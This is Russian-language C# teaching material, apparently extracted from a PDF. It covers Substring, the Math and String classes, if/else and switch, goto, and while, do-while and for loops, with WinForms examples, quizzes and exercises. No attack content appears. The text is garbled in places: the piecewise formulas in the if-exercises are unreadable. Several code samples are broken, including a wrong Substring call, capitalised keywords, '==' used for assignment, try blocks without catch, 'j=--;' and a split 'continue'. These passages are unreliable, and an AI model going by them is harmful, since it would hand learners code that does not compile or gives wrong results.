Для создания подстроки используется метод Substring.
Перегрузки метода Substring.
Substring(Int32)
Извлекает подстроку из данного
экземпляра. Подстрока начинается в
указанном положении символов и
продолжается до конца строки.
Substring(Int32,
Int32)
Извлекает подстроку из данного
экземпляра. Подстрока начинается с
указанной позиции знака и имеет указанную
длину.
Пример 1: Substring(Int32)
Дан текст который разделен на две части с помощью знака "-".
Написать программу которая создает подстроку на из второй части
текста.
private void button1_Click(object sender, EventArgs e)
{
int ind = textBox1.Text.IndexOf("-");
string s1 = textBox1.Text.Substring(ind + 1);
MessageBox.Show(s1);
}
Пример 2: Substring(Int32, Int32)
Дан текст который разделен на две части с помощью знака "-".
Написать программу которая присваивает двум переменным эти два
разделенные части.
private void button1_Click(object sender, EventArgs e)
{
int ind = textBox1.Text.IndexOf("-");
string s1 = textBox1.Text.Substring(0, textBox1.Text.Length - ind);
string s2 = textBox1.Text.Substring(ind + 1);
MessageBox.Show(s1 + ";;;" + s2);
}
Контрольные вопросы:
1.
2.
3.
4.
5.
6.
Для чего предназначен класс Math?
Какими методами обладает класс Math?
Перечислите основные методы класса Math?
Для чего предназначен класс String?
Какие функции хранятся в классе String?
Перечислите основные функции класса String?
ТЕСТЫ:
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
Какой класс содержит математические функции?
Math
Class
Private
Procedure
Какой из приведенных методов является методом класса
Math?
Abs
Cos
Sign
Все ответы правильны
Какой из приведенных методов является методом класса
Math?
Sqrt
Exp
Log
Все ответы правильны
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
6.
А)
В)
С)
D)
7.
А)
В)
С)
D)
8.
А)
В)
С)
D)
9.
А)
В)
С)
D)
10.
А)
В)
С)
Какой из приведенных методов является методом класса
Math?
Max
Min
Pow
Все ответы правильны
Какой метод класса Math нужно использовать для возведения
в степень?
Max
Min
Pow
Sqrt
На какие виды можно разделить функции языка С#?
Математические и строковые
Символьные и строковые
Строковые и циклические
Арифметические и линейные
Какой метод используется для создания подстроки?
Substring
String
Subchar
Subint
Какой метод класса Math нужно использовать для
определения квадратного корня?
Sqr
Min
Pow
Sqrt
Какой метод класса Math нужно использовать для
определения абсолютного значения аргумента?
Abs
Min
Pow
Sqrt
Сколько значений возвращает метод Sign класса Math?
3
2
55
D) 25
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1) вычислить у=sin(x)*cos(x)-3x2;
2) определить время падения камня на поверхность Земли с высоты h.
3) вычислить y=|x-tg(x)|;
4) вычислить площадь треугольника по стороне и высоте;
5) вычислить площадь окружности по заданному радиусу;
6) даны значения a и b, найти их среднее арифметическое,
среднегеометрическое;
7) вычислить y=tg(x)+5x3-4x2;
8) вычислить площадь квадрата;
9) вычислить высоту треугольника, зная две стороны треугольника и
угол между ними;
10)вычислить y=|x-cos(x)|;
11)ввести сторону квадрата a. Вычислить радиус вписанной окружности;
12)Задается длина окружности. Найти площадь круга, ограниченного
этой окружностью.
13)вычислить углы треугольника, зная его стороны;
14)вычислить площадь трапеции;
15)вычислить y=cos|x3-x2|;
16)вычислить длину гипотенузы прямоугольного треугольника, зная
длины двух катетов;
17)вычислить корень квадратный от (x5-x4+|x3|);
18)вычислить корень квадратный от (sin(x)+cos(x));
19)вычислить объем цилиндра, зная радиус основания и высоту;
20)вычислить объем конуса;
21)Определить
время,через
которое
встретятся
два
тела,
равноускоренно движущиеся друг к другу. Известны: v1 и v2 начальные скорости; a1 и a2 - ускорения; s - расстояние между ними.
22)вычислить сторону треугольника, зная две другие стороны и угол
между ними;
23)вычислить площадь ромба, зная длину стороны и угол;
24)вычислить площадь треугольника, зная длины всех сторон и радиус
описанной окружности;
25)вычислить y= tg(x3)+|x2-x5|;
26)вычислить высоту равностороннего треугольника, зная длину всех
сторон;
27)вычислить y = x2-sin(x)+cos(x);
28)вычислить y = x3-x5+|x-sin(x)|+x2;
29)вычислить гипотенузу треугольника, зная длины двух катетов;
30)Найти корни квадратного уравнения Ах^2-Вх+С=0 для А,В и С,
вводимых с клавиатуры.
31)вычислить длину отрезка, зная координаты его концов;
32)Для А, вводимого с клавиатуры вычислить В=А^10 за четыре
операции.
33)вычислить y = x/cos (x) + x2/sin (x);
34)вычислить среднее арифметическое четырех вводимых чисел;
35) вычислить среднее геометрическое пяти вводимых чисел.
Модуль 6.
Тема лекции: Организация ветвлений в программе.
Операторы If.
Операторы ветвления управляют
потоком
выполнения
программы. Это условный оператор if...else и переключатель switch.
Условные операторы позволяют выбрать один из вариантов
выполнения действий в зависимости от каких-либо условий. Условие –
это логическое выражение, т.е. выражение, результатом которого
является логическое значение истина или ложь. Выражение может
иметь арифметический тип. Если оно не равно 0, то условие считается
истинным. Если равно 0 , то условие считается ложным.
Оператор if.
Оператор
if
выбирает
один
из
двух
вариантов
последовательности вычислений. Синтаксис условного оператора:
if (выражение)
оператор_1;
else
оператор_2;
+
оператор 1
выражение
оператор 2
Блок-схема
ветвления
Рисунок 3.1оператора
– Блок-схема
алгоритма ветвления
Выражение должно быть скалярным и может иметь
арифметический тип или тип указателя. Если оно не равно нулю (или
не есть пустой указатель), то условие считается истинным и
выполняется оператор_1. В противном случае выполняется
оператор_2. В качестве операторов нельзя использовать описания и
определения.
Если в случае истинности условия необходимо выполнить
несколько операторов, их можно заключить в фигурные скобки (т.е.
использовать составные операторы и блоки):
if (x > 0)
{
x = -x;
}
else
{
int i = 2;
x *= i;
}
Прием заключения нескольких операторов в блок работает везде,
где нужно поместить несколько операторов вместо одного.
Условный оператор можно расширить для проверки нескольких
условий:
if (x < 0)
MessageBox.Show("Отрицательная величина");
else if (x > 0)
MessageBox.Show("Положительная величина");
else
MessageBox.Show("Ноль");
Конструкций else if может быть несколько.
Допускается сокращенная форма условного
которой отсутствует else и оператор_2.
оператора,
в
if (x > 0)
x = -x;
Оператор_1 и оператор_2 могут также быть условными. Каждое
else соответствует ближайшему if.
Тема семинара: Оператор switch
Хотя любые комбинации условий можно выразить с помощью
оператора if, довольно часто запись становится неудобной и
запутанной. Оператор выбора switch используется, когда для каждого
из нескольких возможных значений выражения нужно выполнить
определенные действия.
Оператор switch предназначен для организации выбора из
множества различных вариантов. Формат оператора следующий:
switch (переключающее_выражение)
{
case константное_выражение_1: операторы_1;
case константное_выражение_2: операторы_2;
case константное_выражение_n: операторы_n;
default:
операторы;
}
Выражение, следующее за ключевым словом switch в круглых
скобках, может быть любым выражением, допустимыми в языке СИ,
значение которого должно быть целым. Значение этого выражения
является ключевым для выбора из нескольких вариантов. Тело
оператора switch состоит из нескольких операторов, помеченных
ключевым словом case с последующим константным выражением.
Так как константное выражение вычисляется во время трансляции,
оно не может содержать переменные или вызовы функций. Обычно в
качестве константного выражения используются целые или
символьные константы.
Все константные выражения в операторе switch должны быть
уникальны. Кроме операторов, помеченных ключевым словом case,
может быть, но обязательно один, фрагмент, помеченный ключевым
словом default.
Список операторов может быть пустым, либо содержать один
или более операторов. Причем в операторе switch не требуется
заключать последовательность операторов в фигурные скобки.
Управление передается тому из помеченных с помощью case
операторов, для которых значение константного
выражения
совпадает со значением переключающего выражения.
С помощью break осуществляется выход из переключателя. В
переключателе могут находиться описания и определения объектов,
т.е. составной оператор, входящий в переключатель, может быть
блоком.
Тема лаб: Анализ программы по операторам ветвления
Задача. Вывести введенное натуральное число в письменном
форме. Например 1-один.
Пример 1. Switch
private void button1_Click(object sender, EventArgs e)
{
int ic = Convert.ToInt32(textBox1.Text);
switch (ic)
{
case 0: MessageBox.Show("ноль"); break;
case 1: MessageBox.Show("один,"); break;
case 2: MessageBox.Show( "два "); break;
case 3: MessageBox.Show( "три,"); break;
case 4: MessageBox.Show( "четыре"); break;
case 5: MessageBox.Show( "пять,"); break;
case 6: case 7: MessageBox.Show("шесть или семь,"); break;
case 8: case 9: MessageBox.Show( "восемь или девять."); break;
default: MessageBox.Show( "ОШИБКА!");
}
}
Пример 2. If
private void button1_Click(object sender, EventArgs e)
{
int ic = Convert.ToInt32(textBox1.Text);
if (ic==0)
{
MessageBox.Show("Ноль");
}else if (ic == 1)
{
MessageBox.Show("Один");
}
else if (ic == 2)
{
MessageBox.Show("Два");
}
else if (ic == 3)
{
MessageBox.Show("Три");
}
else if (ic == 4)
{
MessageBox.Show("Четыре");
}
else if (ic == 5)
{
MessageBox.Show("Пять");
}
else if (ic == 6 || ic == 7)
{
MessageBox.Show("Шесть или семь");
}
else if (ic == 8 || ic == 9)
{
MessageBox.Show("Восемь или Девять");
}
else
{
MessageBox.Show("Ошибка!");
}
}
Тема СРСП – 1.Оператор безусловного перехода goto
В этой лекции мы с вами будем говорить об операторах,
управляющих ходом выполнения программы на С#. Управляющие
операторы разделяются на три категории: операторы выбора, к числу
которых относятся операторы if и switch, итерационные операторы, в
том числе операторы цикла for, while, do-while и foreach, а также
операторы перехода: break, continue, goto, return и throw.
Оператор безусловного перехода имеет вид:
goto идентификатор;
Идентификатор - имя метки расположенной в той же функции,
где используется goto. Передача управления разрешается на любой
помеченный оператор в теле функции. Запрещено перескакивать
через описания, содержащие инициализацию объектов. Это
ограничение не распространяется на вложенные блоки, которые
можно обойти циклом. Применение оператора goto необходимо
свести к минимуму. Если же применяете его, то придерживайтесь
следующих правил:
- не входить внутрь блока извне;
- не входить внутрь условного оператора;
- не входить внутрь переключателя;
- не передавать управление внутрь цикла.
Тема СРСП – 2.Создание программ с операторами if
Форма программы приведена на рис.1.
Рис.1
private void button1_Click(object sender, EventArgs e)
{
Float curr, prev, traf, price;
Label4.Text=””;
Try {
Prev=Convert.ToSingle(textBox1.Text);
Curr==Convert.ToSingle(textBox2.Text);
Traf==Convert.ToSingle(textBox3.Text);
If (curr>=prev) {
Price=(curr-prev)* traf;
Label4.Text=”Сумма к оплате:”+ price.ToString(“C”);
}
Else
MessageBox.Show (“Ошибка исходных данных.\n” + “Текущее
значение показания счётчика\n” + “меньше предыдущего.”,
“Электроэнергия”, MessageBoxButtons.Ok, MessageBoxIcon.Error);
}
}
Пример 2. Программа Конвертер пересчитывает цену из
долларов в рубли. Демонстрирует использование компонентов
TextBox и Label для ввода и отображения числовых данных.
Программа спроектирована таким образом, что пользователь может
ввести в поля редактирования только правильные данные (числа).
Программа имеет следующий вид:
// Нажатие клавиши в поле Цена
Private void textBox1_KeyPress(object sender, KeyPressEventArgs e
)
{
If (!Char.IsDigit(e.KeyChar) &&
! (Char.IsControl(e.KeyChar))) {
If (!((e.KeyChar.ToString()==”,”) &&
(textBox1.Text.IndexOf(“,”) == -1)))
e.Handled = true;
}
}
// щелчок по кнопке Пересчёт
private void button4_Click(object sender, EventArgs e)
{
Double k, usd,rub;
Label4.Text=””;
Try{
Usd=System.Convert.ToDouble(textBox1.Text);
k=System.Convert.ToDouble(textBox.Text);
rub= usd* k;
Label4.Text= usd.ToString(“N”)+ “USD =” +
rub.String(“C”);
}
Программа имеет следующий вид:
Тема СРСП – 3.Создание программ с операторами switch
Создайте программу Зодиака. Программа должна работать
следующим образом: пользователь выбирает знак зодиака с помощью
мышки или курсорных клавиш (стрелок), в результате чего на форме
появляются соответствующий символ и временной интервал, когда
Солнце находится в области этого знака, а также название
управляющего небесного светила. Программа заканчивает свою
работу по нажатию клавиши Close. Вид работающего приложения
показана на рисунке 1.
Рис. 1
Замечание. Астрология, связывающая положение планет и звезд
с человеческими судьбами, не имеет никакого научного обоснования.
Рекомендуемый план разработки программы
1. Откройте новый проект
2. На новой форме Form1 разместите необходимые компоненты:
список ListBox и 7 меток Label, как показано на рис. 2.
Рис. 2
3. Используя окно свойств, задайте необходимые заголовки (свойство
text) форме и меткам (label1, label2, label3 и label4, а также
подберите для них подходящие цвета и размер (см. рис.1).
Выполните необходимое выравнивание всех элементов по
горизонтали и по вертикали (ImageAlign…).
4. Выделите список ListBox1, на окне свойств отметьте его свойство
Items и нажмите на кнопку с тремя точками (расположенную
справа от надписи Коллекция). В появившемся окне встроенного
редактора введите названия знаков Зодиака, как показано на
рисунке 3, после чего нажмите кнопку OK.
Рис.3
5. Чтобы обеспечить вывод символа зодиака нужно подключить
ссылку Microsoft Visual Basic следующим образом: В окне
Обозреватель решений наведите курсор на Ссылки и нажмите
правую кнопку мыши(рис. 4). В появившемся окне выберите
Microsoft Visual Basic и нажмите на кнопку Оk (рис. 5).
Рис. 4
6.
7.
8.
9.
Рис. 5
Символы знаков Зодиака находятся в шрифте Wingdings под
номерами от 94 до 105. Чтобы вывести их на форму в зависимости
от выбранной строки в списке ListBox1, воспользуемся функцией
chr(n), которая определяет символ по его коду n. Задайте для метки
label5 шрифт Wingdings (свойства Font)
Чтобы обеспечить вывод на форму временных интервалов и
небесных светил в зависимости от выбранного знака Зодиака.
Выберите элемент управления ListBox1 и в окне свойств в списке
События выберите Click
Замените свойство Font элемента управления label6 на Wingdings;
72pt
Наберите программный код следующим образом:
private void listBox1_Click(object sender, EventArgs e)
{
switch (listBox1.SelectedIndex)
{
case 0:
label4.Text = "21 март - 19 апрель";
label5.Text = Microsoft.VisualBasic.Strings.Chr(94).ToString();
label6.Text = "Марс";
break;
case 1:
label4.Text = "20 апрел - 20 май";
label5.Text = Microsoft.VisualBasic.Strings.Chr(95).ToString();
label6.Text = "Венера";
break;
case 2:
label4.Text = "21 май - 21 июн";
label5.Text = Microsoft.VisualBasic.Strings.Chr(96).ToString();
label6.Text = "Меркурий";
break;
case 3:
label4.Text = "22 июнь - 22 июль";
label5.Text = Microsoft.VisualBasic.Strings.Chr(97).ToString();
label6.Text = "Луна";
break;
case 4:
label4.Text = "23 июль - 22 август";
label5.Text = Microsoft.VisualBasic.Strings.Chr(98).ToString();
label6.Text = "Солнце";
break;
case 5:
label4.Text = "23 август - 22 сентябрь";
label5.Text = Microsoft.VisualBasic.Strings.Chr(99).ToString();
label6.Text = "Меркурий";
break;
case 6:
label4.Text = "23 сентябрь - 23 октябрь";
label5.Text = Microsoft.VisualBasic.Strings.Chr(100).ToString();
label6.Text = "Венера";
break;
case 7:
label4.Text = "24 октябрь - 22 ноябрь";
label5.Text = Microsoft.VisualBasic.Strings.Chr(101).ToString(); ;
label6.Text = "Плутон";
break;
case 8:
label4.Text = "23 ноябрь - 21 декабрь";
label5.Text = Microsoft.VisualBasic.Strings.Chr(102).ToString();
label6.Text = "Юпитер";
break;
case 9:
label4.Text = "22 декабрь - 20 январь";
label5.Text = Microsoft.VisualBasic.Strings.Chr(103).ToString();
label6.Text = "Сатурн";
break;
case 10:
label4.Text = "21 январь - 18 февраль";
label5.Text = Microsoft.VisualBasic.Strings.Chr(104).ToString();
label6.Text = "Уран";
break;
case 11:
label4.Text = "19 февраль - 20 март";
label5.Text = Microsoft.VisualBasic.Strings.Chr(105).ToString();
label6.Text = "Нептун";
break;
}
}
Запустите приложение на выполнение и проверьте правильность
выполнения программы
Контрольные вопросы:
1. В каких случаях используется оператор if ?
2. Синтаксис оператора if ?
3. Сколько операторов можно расположить внутри условного
оператора?
4. В каких случаях внутри условного оператора используется блок?
5. В каких случаях используется оператор switch ?
6. Чем отличается условный оператор от оператора выбора?
7. Можно ли вместо условного оператора использовать оператор
выбора?
8. К каких случаях в операторе switch используется служебное
слово default?
ТЕСТЫ:
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
Основная работа операторов ветвления:
управляют выходом из программы
управляют потоком выполнения программы
управляют входом в программу
Создать ветвь удаления программы из памяти
Операторы ветвления:
Char и do while
Default и case
оператор if...else и переключатель switch
Break и Goto
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
6.
А)
В)
С)
D)
7.
А)
Условие это:
Арифметическое выражение
Логическое выражение
Набор логических команд
Обычное вырожение
Результат условия:
Арифметическое выражение истина или ложь
Арифметическое значение истина или ложь
логическое значение истина или ложь
Символьное значение да или нет
Если выражение не равно 0 то:
то условие считается ложным
То условие считается истинным
То условие имеет отрицательное значение
То условие имеет положительное значение
Если выражение равно 0 то:
то условие считается ложным
То условие считается истинным
То условие имеет отрицательное значение
То условие имеет положительное значение
Синтаксис условного оператора:
if (выражение)
оператор_1;
else
оператор_2;
В) else
оператор_1;
if (выражение)
оператор_2;
С) if (выражение) then
оператор_1;
else
оператор_2;
D) else
выражение_1;
8.
А)
В)
С)
D)
9.
if (оператор)
выражение_2;
Оператор выбора:
Choice
Case
Switch
Char
Оператор выбора предназначен для:
А)
В)
С)
D)
10.
А)
В)
С)
D)
объединение выбора из множества различных вариантов
организации выбора из множества различных вариантов
объединение выбора из двух вариантов
организации выбора из двух вариантов
С помощью break осуществляется:
Выход из программы
Вход в переключатель
выход из переключателя
Переход к другой части программы
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
Оператор if
1) Вычислить и вывести на экран значения функции F.

ax 2  b, при х  0 и b  0

x  a
F 
, при х  0 и b  0
xc
х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
2) Вычислить и вывести на экран значения функции F.
1
 ах  b, при х  5  0 и с  0

x  a
F 
, при х  5  0 и с  0
 x
 10 х
 с  4 , в остальных случаях

где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
3) Вычислить и вывести на экран значения функции F.

 ax  с, при с  0 и х  0

x  a
F 
, при с  0 и х  0

c

 bх
 с  а , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
4) Вычислить и вывести на экран значения функции F.
х

a  10  b , при х  0 и b  0

x  a
F 
, при х  0 и b  0
x

c

2

3 х  с , в остальных случаях

где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
5) Вычислить и вывести на экран значения функции F.

ax 2  b 2 х, при с  0 и b  0

x  a
F 
, при с  0 и b  0
xc
х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
6) Вычислить и вывести на экран значения функции F.

 ax 2  b, при х  5 и с  0

x  a
F 
, при х  5 и с  0
 x
 х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
7) Вычислить и вывести на экран значения функции F.

 ax 2 , при с  0 и а  0

a  х
F 
, при с  0 и а  0
 cх
 х
1  с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
8) Вычислить и вывести на экран значения функции F.

ax 2  b 2 х, при а  0 и х  0

a

F  х 
, при а  0 и х  0
xc

 х
1  с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
10) Вычислить и вывести на экран значения функции F.

ax 2  bх  с, при х  3 и b  0

x  a
F 
, при х  3 и b  0
x

c

х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
11) Вычислить и вывести на экран значения функции F.
 2 b
ax  , при х  1 и с  0
с

 xa
F 
, при х  1,5 и с  0
2
 x  c 
 х2
 2 , в остальных случаях
с
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
12) Вычислить и вывести на экран значения функции F.

ax 3  b 2  с, при х  0,6 и b  с  0

x  a
F 
, при х  0,6 и b  с  0
xc
х х
 с  а , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
13) Вычислить и вывести на экран значения функции F.

ax 2  b, при х  1  0 и b  х  0

x  a
F 
, при х  1  0 и b  х  0
 x
х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
14) Вычислить и вывести на экран значения функции F.

 ax 2  b, при х  0 и b  0

 x
F 
 5,5, при х  0 и b  0
x  c
 х
  с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
15) Вычислить и вывести на экран значения функции F.

ax  с 2  b, при х  0 и b  0

x  a
F 
, при х  0 и b  0

c

х

а  с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
16) Вычислить и вывести на экран значения функции F.

ax 2  сх  b, при х  10  0 и b  0

x  a
F 
, при х  10  0 и b  0
xc
 х
 а  с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
17) Вычислить и вывести на экран значения функции F.

ax 3  bх 2 , при х  0 и b  0

x  a
F 
, при х  0 и b  0
x

c

 х5
 с( х  10) , в остальных случаях

где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
18) Вычислить и вывести на экран значения функции F.

ax  7 2  b, при х  5 и b  0

 x  cd
F 
, при х  5 и b  0
 аx
х
 с , в остальных случаях
где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
19) Вычислить и вывести на экран значения функции F.
 2x  с
 сх  а , при х  0 и b  0

x  a
F 
, при х  0 и b  0
x

c

 х с
 с  2 х , в остальных случаях

где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
20) Вычислить и вывести на экран
 3
с2
значения функции F.
 ax  , при с  0 и х  0
b

x a
F 
 ln 2 x, при с  0 и х  0
 c
 bх
x
 с  а  8 , в остальных случаях

где а, Ь, с — действительные числа.
Значения а, b, с, x ввести с клавиатуры.
Оператор switch
1. Представить заданное целое число от 1 до 10 в римской
системе счисления.
2. Реализовать в программе меню выбора арифметических
действий. В зависимости от варианта посчитать значение выражения
Y:=X{+|-|*|/}А. Х и А вводятся.
3. Написать программу, которая требует ввода числа месяца и, в
зависимости от введенного значения, сообщает номер декады.
4. Написать программу, где ожидается ввод символа с
клавиатуры, после чего определяется, является ли этот символ буквой,
цифрой или специальным символом.
5. Написать программу, которая ждет ввода первой буквы
названия месяца. В зависимости от этого определяет квартал. Учесть:
Июнь, Июль – разные кварталы.
6. Написать программу, которая ждет ввода буквы русского
алфавита и в зависимости от этого определяет гласная или согласная.
Если согласная, то звонкая или глухая.
7. Написать программу, которая ждет ввода первой буквы
названия месяца. В зависимости от этого определяет время года.
8. Написать программу, которая требует ввода времени дня и, в
зависимости от введенного значения, желает доброго утра, доброго
дня, доброго вечера или спокойной ночи.
9. Написать программу, которая ждет ввода буквы и, в
зависимости от введенного значения, сообщает, является ли буква
заглавной или строчной.
10. Написать программу, которая запрашивает ваше имя и рост в
сантиметрах, а затем отображает информацию в виде: высокий,
средний, низкий.
Модуль 7.
Тема лекции: Организация повторений. Цикл с
предусловием (While).
1. Операторы цикла
2. Цикл с предусловием
Цель работы – изучить операторы, используемые при
организации программ циклических вычислительных процессов,
получить практические навыки в составлении программ.
Операторы цикла
Многократно повторяемые действия могут быть заданы с
помощью операторов цикла. Язык C++ поддерживает три вида
циклов:
- цикл с предусловием;
- цикл с постусловием;
- цикл с параметром (итерационный цикл).
Цикл с предусловием (while)
Цикла с предусловием задается при помощи оператора while.
Он имеет следующую форму записи:
while (условие) тело_цикла;
Условие – это скалярное выражение, определяющее условия
продолжения выполнения операций. Оно принимает логическое
значение "истина" (true или любое не нулевое или не пустое значение)
или "ложь" (false, ноль или пустое значение (null)). Выполнение
оператора повторяется до тех пор, пока значением условия является
"истина".
Тело цикла не может быть описанием или определением. Это
либо отдельный (в том числе пустой) оператор, либо блок (один или
несколько операторов помещенных в фигурные скобки). Условие
вычисляется заново перед каждой итерацией.
условие
–
+
тело цикла
Блок-схема оператора цикла с предусловием
Предположим, необходимо подсчитать, сколько десятичных
цифр нужно для записи целого положительного числа N, можно с
помощью следующего фрагмента:
int digits = 0;
while (N > 0)
{
digits = digits + 1;
N = N / 10;
}
Тема семинара: Структура оператора Do While и For
Оператор цикла с постусловием начинается со служебного слова
do и заканчивается служебным словом while, между которыми
располагается тело цикла.
Синтаксис записи оператора:
do
тело_цикла;
while (условие);
Отличие от предыдущей формы цикла while заключается в том,
что условие проверяется после выполнения тела цикла.
тело цикла
+
услов
ие
–
Блок-схема оператора цикла с постусловием
Предположим, необходимо вычислить произведение нечетных
чисел от 1 до 10 включительно.
int i = 1, p = 1;
do
{
p *= i; // умножим произведение на i (p = p * i)
i += 2; // перейдем к следующему нечетному числу (i = i + 2)
} while (i < 10);
В операторах циклов while и do while можно использовать
операторы break и continue, предназначенные для прекращения
работы цикла и пропуска остатка цикла с переходом к следующей
итерации соответственно.
Цикл с параметром или итерационный цикл реализует
фундаментальный принцип вычислений в программировании –
итерацию. Во время работы данного оператора, тело цикла будет
повторяться, а повторение иногда называют итерацией. Т.е. при этом
выполняется перебор значений переменной, которая используется
для работы операторов, входящих в тело цикла.
Оператор цикла состоит из заголовка цикла и тела цикла. Тело
цикла – это оператор, который будет повторно выполняться.
Заголовок – это ключевое слово for, после которого в круглых скобках
записаны три выражения, разделенные точкой с запятой. Первое
выражение (инициализация цикла) вычисляется один раз до начала
выполнения цикла. Второе – это условие цикла. Тело цикла будет
повторяться до тех пор, пока условие цикла истинно. Третье
выражение, последовательность скалярных выражений разделенных
запятыми ",", вычисляется после каждого повторения тела цикла.
for (инициализация; условие; модификация)
тело_цикла;
Первое выражение обычно используется для установления
начального значения переменных, управляющих циклом. Второе
выражение – это выражение, определяющее условие, при котором
тело цикла будет выполняться. Третье выражение определяет
изменение переменных, управляющих циклом после каждого
выполнения тела цикла.
Схема выполнения оператора for:
1. Вычисляется первое выражение.
2. Вычисляется второе выражение.
3.1. Если значения второго выражения отлично от нуля (истина),
выполняется тело цикла, вычисляется третье выражение и
осуществляется переход к пункту 2.
3.2. Если второе выражение равно нулю (ложь), то управление
передается на оператор, следующий за оператором for.
Существенно то, что проверка условия всегда выполняется в
начале цикла. Это значит, что тело цикла может ни разу не
выполниться, если условие выполнения сразу будет ложным.
Предположим, нам нужно вычислить сумму всех целых чисел от
0 до 100. Для этого воспользуемся оператором цикла for:
int sum = 0;
int i;
for (i = 1; i <= 100; i = i + 1) // заголовок цикла
sum = sum + i;
// тело цикла
Любое из трех выражений в заголовке цикла может быть
опущено (в том числе и все три). То же самое можно записать
следующим образом:
int sum = 0;
int i = 1;
for ( ; i <= 100; )
{
sum = sum + i;
i = i + 1;
}
Заметим, что вместо одного оператора в теле цикла записано
несколько операторов, заключенных в фигурные скобки – блок.
Еще один вариант:
int sum = 0;
int i = 1;
for ( ; ; )
{
if (i > 100)
break;
sum = sum + i;
i = i + 1;
}
В последнем примере был использован оператор break, который
завершает выполнение цикла.
Еще одно полезное свойство цикла for: в первом выражении
заголовка цикла можно объявить переменную. Эта переменная будет
действительна только в пределах цикла.
Тема Лаб: Анализ программы
Программа нахождения суммы целых положительных чисел из
промежутка от А до В, кратных 3 (А и В вводятся с клавиатуры).
Оператор For :
private void button1_Click(object sender, EventArgs e)
{
int a;
int b;
float summa;
a = Convert.ToInt32(textBox1.Text);
b = Convert.ToInt32(textBox2.Text);
summa = 0;
for (float i = a; i <= b; i++)
{
if ((float)(i / 3) == (int)(i / 3))
{
summa = summa + i;
}
}
MessageBox.Show(summa.ToString());
}
Оператор Do While:
private void button1_Click(object sender, EventArgs e)
{
int a;
int b;
float summa;
a = Convert.ToInt32(textBox1.Text);
b = Convert.ToInt32(textBox2.Text);
summa = 0;
do
{
if (a/3.0 == (int)(a / 3.0))
{
summa = summa + a;
}
a++;
} while (a <= b);
MessageBox.Show(summa.ToString());
}
Оператор While:
private void button1_Click(object sender, EventArgs e)
{
int a;
int b;
float summa;
a = Convert.ToInt32(textBox1.Text);
b = Convert.ToInt32(textBox2.Text);
summa = 0;
while(a <= b)
{
if (a/3.0 == (int)(a / 3.0))
{
summa = summa + a;
}
a++;
}
MessageBox.Show(summa.ToString());
}
Тема СРСП – 1. Оператор break
Оператор break служит для принудительного выхода из цикла
или переключателя. Он осуществляет передачу управления к
следующему за циклом или переключателем оператору.
Например, если необходимо применить дополнительное
условие выхода из цикла:
while(i < j)
{
i++;
if (i == j)
break;
j=--;
}
Циклы и переключатели могут быть вложенными, break позволяет
выйти только из самого внутреннего цикла или переключателя.
Тема СРСП – 2.Оператор continue
Еще одним оператором передачи управления является оператор
перехода к к следующей итерации (оператор продолжения) continue.
Он употребляется только в операторах цикла. С его помощью
завершается текущая итерация (при этом пропускается остаток тела
цикла) и начинается проверка условия дальнейшего продолжения
цикла, т.е. условий начала следующей итерации.
Например, если необходимо найти сумму всех целых чисел от 0
до 100, которые не делятся на 7.
int sum = 0;
for (int i = 1; i <= 100; i = i+1)
{
if ( i % 7 == 0)
continue
e;
sum = sum + i;
}
Контрольные вопросы:
1. Какие операторы языка С# предназначены для организации
цикла?
2.
3.
4.
5.
6.
На какие виды делятся циклические операторы языка?
В каких случаях используется оператор for?
В каких случаях используется оператор while?
В чём отличие оператора while от for?
Сколько операторов можно расположить внутри циклического
оператора for?
7. Сколько операторов можно расположить внутри циклического
оператора while?
8. В операторе for как указать шаг цикла?
9. В операторе while как указать шаг цикла?
10.
11.
12.
13.
14.
15.
16.
Опишите оператор цикла с предусловием
Опишите оператор цикла с постусловием
Опишите оператор цикла с параметром
Перечислите операторы передачи управления
Какое назначение оператора break?
Какое назначение оператора continue?
Каково назначение оператора goto?
1.
ТЕСТЫ:
Сколько видов цикла поддерживает С# ?
A) 2
B)
5
C)
3
D)
4
2.
При помощи какого оператора задается цикл с предусловием
?
A) while
B)
false
C)
true
D)
int
3.
Какие служебные слова могут использоваться при записи
оператора for?
A) for, continue, break
B)
for, next, step
C)
for, else, step
D)
Step
4.
Какие операторы можно использовать в операторах циклов
while и do while ?
A) break и continue
B)
for
C)
int
D)
false
5.
Для чего предназначены операторы while и do while ?
A) Для прекращения работы цикла и пропуска остатка цикла с
переходом к следующей итерации
B)
Для произведение нечетных чисел от 1 до 10 включительно.
C)
Во время работы данного оператора, тело цикла будет повторяться
до выполнения условия
D)
6.
Для выхода из программы
Какой вид имеет оператор безусловного перехода?
A) Return идентификатор;
B)
goto идентификатор;
C)
Идентификатор <goto>
D)
int идентификатор;
7.
Какой из них является оператором возврата из функции?
